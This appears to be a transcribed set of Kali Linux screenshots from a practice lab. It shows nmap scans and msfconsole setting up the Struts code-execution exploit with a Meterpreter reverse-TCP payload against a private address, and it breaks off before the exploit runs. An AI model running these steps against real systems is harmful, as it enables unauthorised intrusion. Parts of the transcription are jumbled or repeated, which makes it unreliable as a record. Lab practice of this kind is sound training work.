

```
jackal@kali: ~  
File Actions Edit View Help  
inet6 fd17:625c:f037:2:d242:25af:8793:ab54 prefixlen 64 scopeid 0<global>  
ether 08:00:27:42:4e:30 txqueuelen 1000 (Ethernet)  
RX packets 9 bytes 3723 (3.6 KiB)  
RX errors 0 dropped 0 overruns 0 frame 0  
TX packets 30 bytes 4974 (4.8 KiB)  
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

```
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536  
inet 127.0.0.1 netmask 255.0.0.0  
inet6 ::1 prefixlen 128 scopeid 0<host>  
loop txqueuelen 1000 (Local Loopback)  
RX packets 8 bytes 480 (480.0 B)  
RX errors 0 dropped 0 overruns 0 frame 0  
TX packets 8 bytes 480 (480.0 B)  
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

```
(jackal@kali)-[~]  
$ nmap -sn 10.0.2.15  
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-07 10:27 EDT  
Nmap scan report for 10.0.2.15  
Host is up.  
Nmap done: 1 IP address (1 host up) scanned in 6.53 seconds
```

```
(jackal@kali)-[~]  
$
```

```
(jackal@kali)-[~]  
$ nmap -sV -p 8080 10.211.113.152  
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-07 10:34 EDT  
Nmap scan report for 10.211.113.152  
Host is up (0.00028s latency).
```

| PORT     | STATE    | SERVICE    | VERSION |
|----------|----------|------------|---------|
| 8080/tcp | filtered | http-proxy |         |

Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .  
Nmap done: 1 IP address (1 host up) scanned in 7.05 seconds

```
(jackal@kali)-[~]  
$
```

```
jackal@kali: ~  
File Actions Edit View Help  
(jackal@kali)-[~]  
$ msfconsole  
Metasploit tip: The use command supports fuzzy searching to try and  
select the intended module, e.g. use kerberos/get_ticket or use  
kerberos forge silver ticket  
  
+ -- ==[ metasploit v6.4.69-dev ]  
+ -- ==[ 2529 exploits - 1302 auxiliary - 432 post ]  
+ -- ==[ 1672 payloads - 49 encoders - 13 nops ]  
+ -- ==[ 9 evasion ]  
  
Metasploit Documentation: https://docs.metasploit.com/  
  
msf6 > use exploit/multi/http/struts_code_exec  
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp  
msf6 exploit(multi/http/struts_code_exec) > set RHOSTS 10.211.113.152  
RHOSTS => 10.211.113.152
```

```
445/tcp    open  microsoft-ds
512/tcp    open  exec
513/tcp    open  login
514/tcp    open  shell
1099/tcp   open  unknown
1524/tcp   open  ingreslock
2049/tcp   open  nfs
2121/tcp   open  ccproxy-ftp
3306/tcp   open  mysql
3632/tcp   open  distccd
5432/tcp   open  postgres
5900/tcp   open  vnc
6000/tcp   open  X11
6667/tcp   open  irc
6697/tcp   open  unknown
8009/tcp   open  ajp13
8180/tcp   open  unknown
8787/tcp   open  unknown
33424/tcp  open  unknown
38039/tcp  open  unknown
54058/tcp  open  unknown
59665/tcp  open  unknown
```

```
Nmap done: 1 IP address (1 host up) scanned in 4.651 seconds
```

```
msfadmin@metasploitable:~$
```

```
jackal@kali: ~  
File Actions Edit View Help  
  
msf6 > use exploit/multi/http/struts_code_exec  
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp  
msf6 exploit(multi/http/struts_code_exec) > set RHOSTS 10.211.113.152  
RHOSTS => 10.211.113.152  
msf6 exploit(multi/http/struts_code_exec) > set TARGETURI /struts2-showcase  
[!] Unknown datastore option: TARGETURI. Did you mean TARGET?  
TARGETURI => /struts2-showcase  
msf6 exploit(multi/http/struts_code_exec) > set TARGETURI. /struts2-showcase  
[!] Unknown datastore option: TARGETURI.. Did you mean TARGETURI?  
TARGETURI. => /struts2-showcase  
msf6 exploit(multi/http/struts_code_exec) > set TARGETURI /struts2-showcase  
TARGETURI => /struts2-showcase  
msf6 exploit(multi/http/struts_code_exec) > set RPORT 8080  
RPORT => 8080  
msf6 exploit(multi/http/struts_code_exec) > show options  
  
Module options (exploit/multi/http/struts_code_exec):  
  
Name      Current Setting  Required  Description  
-----  
CMD        No payload configured, defaulting to windows/meterpreter/reverse_tcp  
Proxies     No payload configured, defaulting to windows/meterpreter/reverse_tcp  
RHOSTS      10.211.113.152  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html  
RPORT       8080             yes       The target port (TCP)  
SSL         false            no        Negotiate SSL/TLS for outgoing connections  
SSLCert     No payload configured, defaulting to windows/meterpreter/reverse_tcp  
URI         No payload configured, defaulting to windows/meterpreter/reverse_tcp  
URIPATH     No payload configured, defaulting to windows/meterpreter/reverse_tcp  
VHOST       No payload configured, defaulting to windows/meterpreter/reverse_tcp  
  
When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:  
  
Name      Current Setting  Required  Description  
-----  
SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.  
SRVPORT    8080             yes       The local port to listen on.
```

jackal@kali: ~  
File Actions Edit View Help

| Name    | Current Setting | Required | Description   |
|---------|-----------------|----------|---|
| CMD     |                 | no       | Execute this command instead of using command stager  |
| Proxies |                 | no       | A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, socks5, sock<br>s5h, http   |
| RHOSTS  | 10.211.113.152  | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a> |
| RPORT   | 8080            | yes      | The target port (TCP)   |
| SSL     | false           | no       | Negotiate SSL/TLS for outgoing connections  |
| SSLCert |                 | no       | Path to a custom SSL certificate (default is randomly generated)  |
| URI     |                 | yes      | The path to a struts application action ie. /struts2-blank-2.0.9/example/HelloWorld.action  |
| URIPATH |                 | no       | The URI to use for this exploit (default is random)   |
| VHOST   |                 | no       | HTTP server virtual host  |

When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh\_invokewebrequest,ftp\_http:

| Name    | Current Setting | Required | Description  |
|---------|-----------------|----------|--|
| SRVHOST | 0.0.0.0         | yes      | The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to<br>listen on all addresses. |
| SRVPORT | 8080            | yes      | The local port to listen on.   |

Payload options (windows/meterpreter/reverse\_tcp):

| Name     | Current Setting | Required | Description   |
|----------|-----------------|----------|---|
| EXITFUNC | process         | yes      | Exit technique (Accepted: '', seh, thread, process, none) |
| LHOST    | 10.0.2.15       | yes      | The listen address (an interface may be specified)        |
| LPORT    | 4444            | yes      | The listen port   |

Exploit target:

| Id | Name              |
|----|-------------------|
| -- | ---               |
| 0  | Windows Universal |